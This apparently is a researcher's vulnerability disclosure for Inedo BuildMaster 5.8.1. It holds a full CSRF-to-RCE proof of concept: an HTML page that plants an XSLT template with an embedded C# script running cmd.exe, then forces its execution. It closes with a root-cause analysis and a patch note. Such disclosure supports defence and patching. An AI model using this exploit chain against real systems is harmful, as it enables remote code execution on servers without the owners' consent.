In October of 2017 I discovered a vulnerability in Inedo BuildMaster 5.8.1 related to the use of configuration file templates which allowed for RCE. This vulnerability could be exploited by an authenticated user directly, or by exploiting multiple CSRF vulnerabilities without the user’s knowledge in some cases.
PoC
This is one of my favorite PoCs due to the number of languages used.
<html>
<!-- James Otten 2017 -->
<body>
<script src="https://code.jquery.com/jquery-3.2.1.js"></script>
<script>
function createIframe(html) {
$('body').append('<iframe src="data:text/html,<html>' + encodeURIComponent(html) + '</html>"></iframe>');
}
function editConfigFile(baseUrl, configurationFileId, instance, template) {
var url = baseUrl + "/0x44/BuildMaster.Web.WebApplication/Inedo.BuildMaster.Web.WebApplication.Pages.Applications.Configuration.EditConfigurationFilePage/SaveConfigFile";
var html = basePage;
html += '<form id="csrf" enctype="application/x-www-form-urlencoded" method="POST" action="' + url + '">';
html += '<input type="text" value="' + configurationFileId + '" name="configFileId">';
html += '<input type="text" value="RCE" name="notes">';
html += '<input type="text" value="" name="releases">';
html += '<input type="text" value="' + instance + '" name="i_Integration">';
html += "<input type='text' value='" + template + "' name='i_Template'>";
html += '</form>';
createIframe(html);
}
function previewTransform(baseUrl, configurationFileId, serverId, versionNumber) {
var url = baseUrl + "/0x44/BuildMaster.Web.WebApplication/Inedo.BuildMaster.Web.WebApplication.Pages.Applications.Configuration.DeployConfigurationFilePage/PreviewConfigFile";
var html = basePage;
html += '<form id="csrf" enctype="application/x-www-form-urlencoded" method="POST" action="' + url + '">';
html += '<input type="text" value="' + configurationFileId + '" name="configFileId">';
html += '<input type="text" value="Integration" name="instanceName">';
html += '<input type="text" value="' + serverId + '" name="serverId">';
html += '<input type="text" value="' + versionNumber + '" name="versionNumber">';
html += '</form>';
createIframe(html);
}
var basePage = '<script>document.addEventListener("DOMContentLoaded", function() { document.forms["csrf"].submit(); });</s' + 'cript>';
function exploit() {
var configurationFileId = $('#configurationFileId').val();
var baseUrl = $('#baseUrl').val();
var serverId = $('#serverId').val();
var versionNumber = $('#versionNumber').val();
var instanceXml = $('#xml').val();
var xsl = $('#xsl').val();
editConfigFile(baseUrl, configurationFileId, instanceXml, xsl);
setTimeout(function() {
previewTransform(baseUrl, configurationFileId, serverId, versionNumber);
}, 5000);
}
</script>
<h2>BuildMaster CSRF -> RCE<h2>
<p>Tested on version 5.8.1 (Build 5)</p>
<table>
<tr><td>Base url of BuildMaster instance</td><td><input id="baseUrl" value="http://127.0.0.1:82" /></td></tr>
<tr><td>configurationFileId</td><td><input id="configurationFileId" value="19" /></td></tr>
<tr><td>serverId</td><td><input id="serverId" value="135" /></td></tr>
<tr><td>versionNumber</td><td><input id="versionNumber" value="1" /></td></tr>
<tr><td>xml</td><td><textarea id="xml" rows="7" cols="80">
<?xml version='1.0'?>
<data>
<commands>
<command>whoami</command>
</commands>
</data></textarea></td></tr>
<tr><td>xsl</td><td><textarea id="xsl" rows="30" cols="80"/>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(string command){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c " + command;
proc.Start();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="data">
<outputs>
<xsl:for-each select="commands">
<output>
<xsl:copy-of select="node()"/>
<value><xsl:value-of select="user:execute(command)"/></value>
</output>
</xsl:for-each>
</outputs>
</xsl:template>
</xsl:stylesheet></textarea></td></tr>
<tr><td><button onclick="exploit()">exploit</button></td></tr>
</table>
</body>
</html>
Analysis
The root cause of this vulnerability is the use of an unsafe XSLT processor with user controlled XSLT. The XSLT processor in use by the application was System.Xml.Xsl.XslTransform which, among other things, allows for the execution of arbitrary code through msxsl:script.
As a developer using XSLT, it is very important to learn about the capabilities of your XSLT processor to make sure your processor of choice fits your use case and security model. I also suggest trying to avoid executing user controlled XSLT if possible as it is very easy to misconfigure a XSLT processor to allow for arbitrary file reads, SSRF, or even RCE.
Mitigation
Updating to BuildMaster 5.8.2+ will prevent attackers from exploiting this vulnerability.